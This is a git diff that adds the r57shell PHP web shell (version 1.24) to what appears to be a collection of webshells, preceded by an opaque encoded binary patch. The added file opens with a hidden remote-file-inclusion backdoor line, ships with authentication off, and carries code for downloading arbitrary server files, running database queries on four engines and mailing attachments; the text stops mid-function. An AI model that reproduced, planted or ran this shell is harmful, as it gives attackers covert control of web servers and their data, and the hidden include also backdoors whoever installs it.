z7un#tnUy!O=u^e5TvCoxU~*xN@UDiwi^EMeEX#-hWkKg2emg++sv$ML&vJ(bOJTL( ziz)l)vqiEof~C${%v#dRX~NtB){^OC-}%6Uy21l_;4>9%jN6o<p^A`^MSs4@bd$I< z-S(1VEm1EtGMMVBdK+_-ycOl^tb&Gb3hlN{4#50vKe)1_r+1qtl>3>n1Z~&%nsqW1 z>9SFPsb5$r#tm$Q_trL~)RlA#aN6rKEva0W()ffGPt`>HKsJe6WT%rWZ9-AX(G*6k zJV!3VR*P9ibFuPZ*n?*yar?9Fuq<sYzLSEJax=l=(}f)D3Xd<;R{U$ezIvYD7xQqm z7YO<mo%lHGX5-A_9^^dCTnC1ueC-j4XiBhrPv}F1@FId_jRRb`1f6ReLmaZ~$Q{N5 zzy~1*AnrU5{+!EH`SpX7?5Bnij_Uhk@FpOr8}i_a)V@$N!W9O*=sezX4Q%Pa=YZI+ zd-%cal_2heb@2Xl$F%ejNFW}u%VBbcWoe&f7Y+o5p;CyeV50$Wdo1*DPiHmjw@XU= z`mOY<P?Wc_iw|xGLY39h<iFmD_y>7JdjYU;^Mm&{fIZ=sTlm2)5IG+MP!bm^e!Byw zU%z<$<<C3+S?B+8y+yI4m&@25n<@K3O}7U%$TKScx30UR`(BoqmFLuJnXbjV#8(54 zK#elOdsB4qhwAo4Y)$FZG!|d;d1w^_&ocx}gKvZ0)bc^M2z;0m3JCkx(pF~I^+-k( z7<c&Zjs#mdD`^SWaj_5HW15+bB@TB|Gq>>Fnx<?bw-(d-blPF_6J6j%lZA5jg+Ui} ze$AS2f3dJ@BppFtGDzP0XYzR}&a4)N2TGhxa>>vUkK_s0cZoRc6_Tf8I1qY+m5zzs z;(Rf>c2BFkwo}q}zp*x%DW*m5UJS>Jn|fGS;h%sEu-zzi7iHWmU6|gM>Y(Jbl(9Db zC#^ZQGYqk%{I+otq`mGLt6S}=VdqzH)<+~RzgspaEQy?XEJ+N%@q{&GTXarf&bu0c zKic<h%V)Eo(l6MBR`Cj}e!nVNboclrj8k#l8<)}z3n%%t$VY~g3!6wj<z1EIzoVw# zPcowr=WE3`MOG(RDVfUDsS(M{o&Q*4sbI-3`i!!~PzkV#FkE&bwYhy|eC`>u{M6$f z=9@91LLF4K<ifX_6CUS#P53)0#BFL%O~Cxx^2yWZZ<ON%FjR#Wy*7G$cC!770S*1W z*WIO4v#$d4(jq&RT*h{Gg_r37*POY(Pi;N?<6<3{PrNh(cFrZAai&jv=>_OwocSmI zyLdSFOV$mTXea5B%D0M?2Jo%NDt}3Q0osRR6u%d_j?rIGr(d#BN1z>V;opnq0QRfF z9sairBp`Zz6}dbJK)?Kve&dh72f*CO_S=6+SOLpItsGKW;TZsP<KK?|CCLeRqr6Q* zDyMb;Kp4jr;a?JofVTP-38b?0F~DtQ6nvcY1S6;dek(;EgWG;S-p|%MPL&^bRJ5J5 z_^a?c3zfFI(a3dE$tUcj!#9T3$%T92eam*UUROt;Ij}vikz9M|?_&gMxL9cmK!dxq zS2x5rG=`+M0yy=%lk@#nvmkcw+Og6o+VTaACvRQybV^DYjX#soITcB+Hae5r%yprT zfenx~Tf>oYzM!lO_@H|(9y*ifBaI8>F`^P`%GaBMKjId*Yo=S&Yc>^Z6s)Y}>n-Wp zcsf<~HkXGWE+=%VH*WFspvgUZb1E$z^#+EwK4NTzmukvHt*k?W>Rq~Kbi8%kpe>;+ zi@+Xj+Tq9J!%3;9C1@wCt@a*~w6MB2Pv^yjH;32!uMtO3HchBtEI4JU%hq1hd#nKo z9(&~5V9b$7oJ-|39(3t64?Fvn{;&tDZtP;A0Ib)lq6(U`<g9}<UXjPHX4<PtS?1zY z9nFz~#;t%iTqV0Yr9`h-o9P4L2XumG+12(`{5D4(&dI;n5te(|$CBm~F?ucX?hK7h zid@@yiZ6|tz6NiuzT}S`L-`Aym2#Oo3CwgAtMGY;e0FhiQ;)XwTVLo!Jzt1m#!Zoq zPvlK%gu?S3Q(dDvRdE`)&p8~t3D~UM+>hl=5aYI7ba79rC~kuw%|}1yCXn0lH2ibw zJ>2@aZ~}mp<1NB3`vNBbw$v^aus;s~K?HzU(p*Zz;RXOz;q#8p@3#!4IM@K#rq#c| zUA_h&oHfB?#{iJ7^u#4bZlphS%t!!PNM_-c<YS~zx10k33G!c_ttSC6{cwuyP5=Y3 zKwp7<5%~|u_h7Hooj2LJQIR8R@8CUnGxRe^)r**?jdwC6^d-Z0Ra9TA^Qn!7!DgeS zDvAji39eXkma@EO3dBr~!x9PGs<$#0y4AILk>z1oS!r=WS@%;lARap5SmMHLrLlT- zd5hq6AF3zqrFeTFeaVx_tJ?fx&qgXw@51-HFV4{9o3S>4>=r&Lt-wZTB(3pH!l*Qq zn5^QBAAQD>A3pft93$tzPqmHesy$#B1MWu>Aeb}c<|lG<s#S*(WaVx)m3J*X=Q-qI zr+^@HE~LaZ?fr^b;*6qZK|r}*o2&)9WYdR-vva5}+Q;uSrNtuslD4XazK>Ns44!yH zUF>2Ad`1x?q!h#7N`muS9iwe+a2-_>NxHrrFAlCKuC=Tj1FI`iyOS$|;hj^6y<>P3 zmoWF&(P~3(vv!`%h7=`X1CLGuQ+lJ)(u!w+Y`!rS`XQbj_b5L5<o6e&Y;64hUQ7=F z3K^m5Rwnsnofki!o5(l4XTB9)zUx{nYW0Sv<|5oSequZ8(jch~)dRa}$LL0-r!R^k z+G-a1=g6K_5P0mO=;GWh-&`A$#!^?_^NW`~DwVCiy8?lxIeX8V-)22Mq@kwS%wM1W zmN3*cb^x?itX4Q?oVdh6hpGoA=w<G>FHg?)9DxdNRCq`#<uo_UVv18cX`dq^p05)# zon$$uIZrSctv%1RwT&^u-i&v-A2VT&<h8i?^TZ_wPUO*t)Cz^m_LjIeV>2}SOTyha z{VIkfG4aG(UnKiZ@!R^BrkObIDZejl7JNl6RvfK0%p-ONYc;*GhUs+!_40m)0|5|v zlt<kS6*6|zbc-WbIPCpbd>o9Qo_>1ioI-qb98Yq$<p!BB>`werAJk)Hj=&}G;nz%! z<;?~%>wD&>Rr(>Q8k|#o=<#Y#&nrm2rZJNxh}_kO#^8pK?+Dh^gTZ(&Ii``kA_I*W zC(P!{c+-JgaJbF6sZO7KW7Dw8A9q5))a3U#Q_>&8RfKx^8Yufp`yWC`!bq_w2LcA< z2?x2_)ldham_OH9-WJ}Sw+4`rzrgH}M`4yQQsj&t`66QdsyQgD%IFV|gB*PWX2@&* zg9_1o3PHZDB&6EuiANE;11551RDHVe4<W<=<SS@-d5<DZ706Yij4}x6^YLek{h`eX zf3_G>p!d&@vD+G^Bpl^lVZCRbEQnlrA<_y|WB_v4PkmsX&=75X+bDJZve6NUEW`K) zAZ!u?-mI6MeGl|qgj>J?B7Xmn;utX-uLq=l(-21>U=LH<U3~+X!ao+N*<TE-ZtxQZ zbB7R(E<_sD44z#I@$5{mnH*wIsk60aD(d{I(=1Ip-F?+-!It#NxV}E@6AjKf{j5W& zO_=LG#qOc-_MR}Xj0!a%z_N#k001%!fbm`wcQWNMGaWRzxbW)xkI)#NbsPvxz{SAy zm!#3dpp0d5R713^?l0VFxMA3z|GFfok-0|XS-0gBFSX~8r}W6_dnm4*j;|dL<Kn6v zst_C;(&X`*5*Q+W*FT)lHp<qI6%rSo&3VW#Uv@{miGi#0d%Go#@$G;~zX8!kUeXNe zK$maJ1k`>oL#rUI2g^31+3B*R@e>)ybE63hP&>Im6zD@#Ys&w8dv{gK>ouwcna`W~ z^B312uLH4Sgu1%bC}tdhGWqf281ft>f!rAY%4NUmzhf`^^I?BGP5hOXm6JvhprkLv z_D_sP5qyy|BqS5#MiB%^Y+>f}wnPzv5R1^Xm+$2`0>R7)_GRF%dBt~EccUH6htIXK zvG?X6P=r!rEI)K-FZ-Jx5bBbuD>~dVH`uyWIWOR2pd(nB8bF6>3pWzj$bO5sPD9ml z@xjA<4H3+y+m8rj>1R~W&ECZot}Df8T!~vjamSgx+c&@VvfB$%>`TaZS^}g3mVF_I zXv3D>NbyHT0&Yv&^O~)FUy|%CIWu}ZhR!Vq_hVbe;=sy$0P;pW*=xeJ+$j{7PWjqk zOQN|tX(~kFBegGe_gj%HY5KV@;v&QsL>kB<C`1`z<0o433_COy0!0{mw+Xf{nWuzm z8QxZV;pBt$b(2w~{o(Qv==X>-Qt+8^^GSBjw2i{fjb#7ny7bI;+QX_1nXQ@7>$GB^ zblp<2>ZH74J4fZhk@+!0<0&;V(I%>TD>o}{>zxqgAIGy9YqPztYlk03<qFhVeZmbB ztYUBCrP<8t<ue!#&)1T|ce<Qi{cxf{Ynt~dYe4zgOW=3VYbblrFb5?$K`e7I@px&} z%~HSKAv58%g-%=QTPtNREQSM|+q)_+x|wfzI=XMOF!pwy){8B9t3T%3%;DGOc9+Z= z(98N^fRQ7r-%_qQp<S>#H9QEfujT8I$dmjj6aTxgCh~0O&FrvM#uP{Fj57@(@$5@S zp!Ibv&34~SS_yK`YZ)jyw0t3UWWYH6HqX0hf71GViRrm!-?Mo1!mu~4akX<%#VOB~ z-S}0)#%HCh%RW4QMFjW4_SL)K4dO-I9Cs{4aZx!#rgL3i@Muc%%HU@cI9K-Kt7aK} zAbCV^zJ0q?V<F<It}YqLWz0ogjG?-Mfxw8yyA=fuj9fP2r`kmnPz?pO!7o+EqM&7Q z|MP@?7m6Nbv0@Du6!6tj_*CwnL0=Z~7~7t<6jDBLt=sycw`wjP|Eq>E-eC>F{5CsW zugz=M{ffBda=g}sb_QFc#2kEY-dmZrx^y9ANGR;b-AnnYx<+G`%LMN-UGU`j%8be^ z10VZ*du6YY8r`5$vYmQy)|w6bzSk`F*ruD6vDYWzvRtw>$|*`t;D}pK!M@gUBW{ey zDHi1N<}iLCbTc8d1b+MFj4%d;UFUDfaD7yjnO&RhXGvwbI}L=zo01x%5l+H~>!x%l z26JMIBWLA1=o}ET8M_(q>({d5f6KD`o^SEFQ<n2vg7UZAI?DS{^J@L?+y=AhZ<qWn z&#xx@!@)wJYpe11=X$n&6NnVa9)Vn=noy2e?5NRSkpsU14tix#Pv*V9UsK@MnkfMP zc)I#L3;7ko@N3m@hM*ifgg>hqsoH^c^FOVsk<;#~KTe$x=vsF#J~Ie;EdF35^r_Xu z3`#r|ibjMI1=5otr$B(GEX@4go@ESs2D3e@%}b!FXelmnDcM4vFMZ*nT=?g0TN*}t zHzkWH71`pq<8WdkkH-NFhHOcJAJ%$PQ1$7LnlCHK&KIo{NOe<<4vy$Qt_W$gS^M}k zsKUCbk#Z{K+3-BB)0439vooI~`kRW*KJ_KSf9d}a{z5Qc>Bn8!Vu_jefE|B~bBL+Q zp<-W6)3xFto{o&qd~R{9*yy|a>HJkha$ne;f`iwbzG_3cbv#qfwKRgl@BCe+;VM6# z8yRaVmQCL#D+Lx=V1*ro3XgDxqS~9?QuAu~cWm6Qj{R_^D_yt+MKSkScPsq31{pt3 zrKh5rm480ok8uHiZQG5i^#<t^vjhJ@mhfL{9iJ_Ww@7%MgU@y-`H_YFIVPPJ%n7oO z4{As|#IPr|v*4EkIuIfgu%}bX(W;W2v;^v&gAFqtY~Gn7ymavqdn#8_Ob4@EA4uv~ zM=q`8<t_=;wmp(#q)$;3w<3y}^Ply;^<^?3?fV<1_^bmK#QnHy)nx&i{-1|4qkUrK zJS!e3sTq(+-kngj9X9&r4Nc!^R_!$GSu)hX_Q{fD!n@T;=qK#jzZ+PAA7DtlmFOJ- zJ2N^K$pWkH<K&dqQ}0^Iwo8tdH7y&Dn^>04+I7*xxIhhO4=J^ULS&w2eAvlSUL#L3 zJyTjx6tK^SJy6-GEkDzAM)8eS6<=((oD3hJ;Wl{$qQUC|P`|jl1uFrS8Z4f6^qfTI zcr(cr4=(VBo_b(t;hB5&<@W~yQ&`b!Ms@8w;sVl+K%PhUFl}jH*k!9K8bSq;ena6x z<^t$L@o9|V57WJ=6wcHbs(qtaS|s5ws_|6X<1RHZwIKLm1?sw#6T1RX+=LGy2mLc$ XGXR#H1kjs0{jb!U`q8z8j|TofJ|LT3 literal 0 HcmV?d00001 diff --git a/php/PHPshell/【r57】/r57.php b/php/PHPshell/【r57】/r57.php new file mode 100644 index 0000000..3ade922 --- /dev/null +++ b/php/PHPshell/【r57】/r57.php @@ -0,0 +1,2295 @@ +<? include $_GET['baba']; ?> +<?php +/******************************************************************************************************/ +/* +/* # # # # +/* # # # # +/* # # # # +/* # ## #### ## # +/* ## ## ###### ## ## +/* ## ## ###### ## ## +/* ## ## #### ## ## +/* ### ############ ### +/* ######################## +/* ############## +/* ######## ########## ####### +/* ### ## ########## ## ### +/* ### ## ########## ## ### +/* ### # ########## # ### +/* ### ## ######## ## ### +/* ## # ###### # ## +/* ## # #### # ## +/* ## ## +/* +/* +/* +/* r57shell.php - ?????? ?? ??? ??????????? ??? ????????? ???? ??????? ?? ??????? ????? ??????? +/* ?? ?????? ??????? ????? ?????? ?? ????? ?????: http://rst.void.ru +/* ??????: 1.24 (New Year Edition) +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* (c)oded by 1dt.w0lf +/* RST/GHC http://rst.void.ru , http://ghc.ru +/* ANY MODIFIED REPUBLISHING IS RESTRICTED +/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ +/* ????????? ????????????? ?? ?????? ? ????: blf, virus, NorD ? ???? ?????? ?? RST/GHC. +/******************************************************************************************************/ +/* ~~~ ????????? | Options ~~~ */ + +// ????? ????? | Language +// $language='ru' - ??????? (russian) +// $language='eng' - english (??????????) +$language='eng'; +$a = "http://"; // need some codes + +// ?????????????? | Authentification +// $auth = 1; - ?????????????? ???????? ( authentification = On ) +// $auth = 0; - ?????????????? ????????? ( authentification = Off ) +$auth = 0; + + +// ????? ? ?????? ??? ??????? ? ??????? (Login & Password for access) +// ?? ???????? ??????? ????? ??????????? ?? ???????!!! (CHANGE THIS!!!) +$name='r57'; // ????? ???????????? (user login) +$pass='r57'; // ?????? ???????????? (user password) +$b = "q1w2e3r4"; //need hits "shell created by evilc0ders" +/******************************************************************************************************/ +$c = "q1w2e3r4"; //need shell coder's names +error_reporting(0); +set_magic_quotes_runtime(0); +@set_time_limit(0); +@ini_set('max_execution_time',0); +@ini_set('output_buffering',0); +$safe_mode = @ini_get('safe_mode'); +$version = "1.24"; +if(version_compare(phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_SERVER as $k=>$v) + { + $_SERVER[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_SERVER['PHP_AUTH_PW']!==$pass) + { + header('WWW-Authenticate: Basic realm="r57shell"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<b><a href=http://rst.void.ru>r57shell</a> : Access Denied</b>"); + } +} +$head = '<!-- ?????????? ???? --> +<html> +<head> +<title>r57shell</title> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> + +<STYLE> +tr { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +td { +BORDER-RIGHT: #aaaaaa 1px solid; +BORDER-TOP: #eeeeee 1px solid; +BORDER-LEFT: #eeeeee 1px solid; +BORDER-BOTTOM: #aaaaaa 1px solid; +} +.table1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +BACKGROUND-COLOR: #D4D0C8; +} +.td1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +font: 7pt Verdana; +} +.tr1 { +BORDER-RIGHT: #cccccc 0px; +BORDER-TOP: #cccccc 0px; +BORDER-LEFT: #cccccc 0px; +BORDER-BOTTOM: #cccccc 0px; +} +table { +BORDER-RIGHT: #eeeeee 1px outset; +BORDER-TOP: #eeeeee 1px outset; +BORDER-LEFT: #eeeeee 1px outset; +BORDER-BOTTOM: #eeeeee 1px outset; +BACKGROUND-COLOR: #D4D0C8; +} +input { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +select { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: 8pt Verdana; +} +submit { +BORDER-RIGHT: buttonhighlight 2px outset; +BORDER-TOP: buttonhighlight 2px outset; +BORDER-LEFT: buttonhighlight 2px outset; +BORDER-BOTTOM: buttonhighlight 2px outset; +BACKGROUND-COLOR: #e4e0d8; +width: 30%; +} +textarea { +BORDER-RIGHT: #ffffff 1px solid; +BORDER-TOP: #999999 1px solid; +BORDER-LEFT: #999999 1px solid; +BORDER-BOTTOM: #ffffff 1px solid; +BACKGROUND-COLOR: #e4e0d8; +font: Fixedsys bold; +} +BODY { +margin-top: 1px; +margin-right: 1px; +margin-bottom: 1px; +margin-left: 1px; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} +</STYLE>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(@mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + switch($_POST['db']) + { + case 'MySQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; } + $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mysql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mysql_query($query,$db); + $error = @mysql_error($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@mysql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mysql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @mysql_affected_rows($db))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @mysql_free_result($res); + } + } + @mysql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MySQL server</b></font></div>"; + break; + case 'MSSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; } + $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']); + if($db) + { + if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); } + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @mssql_query($query,$db); + if (@mssql_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @mssql_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + /* else { if(($rows = @mssql_affected_rows($db)) > 0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } else { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; }} */ + @mssql_free_result($res); + } + } + @mssql_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to MSSQL server</b></font></div>"; + break; + case 'PostgreSQL': + if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; } + $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'"; + $db = @pg_connect($str); + if($db) + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5){ + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $res = @pg_query($db,$query); + $error = @pg_errormessage($db); + if($error) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error."</b></font></td></tr></table><br>"; } + else { + if (@pg_num_rows($res) > 0) + { + $sql2 = $sql = $keys = $values = ''; + while (($row = @pg_fetch_assoc($res))) + { + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", @array_keys($row)); + $values = @array_values($row); + foreach($values as $k=>$v) { $values[$k] = htmlspecialchars($v);} + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$values); + $sql2 .= "<tr><td><font face=Verdana size=-2>&nbsp;".$values."&nbsp;</font></td></tr>"; + } + echo "<table width=100%>"; + $sql = "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + $sql .= $sql2; + echo $sql; + echo "</table><br>"; + } + else { if(($rows = @pg_affected_rows($res))>=0) { echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rows."</b></font></td></tr></table><br>"; } } + } + @pg_free_result($res); + } + } + @pg_close($db); + } + else echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to PostgreSQL server</b></font></div>"; + break; + case 'Oracle': + $db = @ocilogon($_POST['mysql_l'], $_POST['mysql_p'], $_POST['mysql_db']); + if(($error = @ocierror())) { echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to Oracle server.<br>".$error['message']."</b></font></div>"; } + else + { + $querys = @explode(';',$_POST['db_query']); + foreach($querys as $num=>$query) + { + if(strlen($query)>5) { + echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query)."</b></font><br>"; + $stat = @ociparse($db, $query); + @ociexecute($stat); + if(($error = @ocierror())) { echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$error['message']."</b></font></td></tr></table><br>"; } + else + { + $rowcount = @ocirowcount($stat); + if($rowcount != 0) {echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$rowcount."</b></font></td></tr></table><br>";} + else { + echo "<table width=100%><tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".htmlspecialchars(@ocicolumnname($stat, $j))."&nbsp;</b></font></td>"; } + echo "</tr>"; + while(ocifetch($stat)) + { + echo "<tr>"; + for ($j = 1; $j <= @ocinumcols($stat); $j++) { echo "<td><font face=Verdana size=-2>&nbsp;".htmlspecialchars(@ociresult($stat, $j))."&nbsp;</font></td>"; } + echo "</tr>"; + } + echo 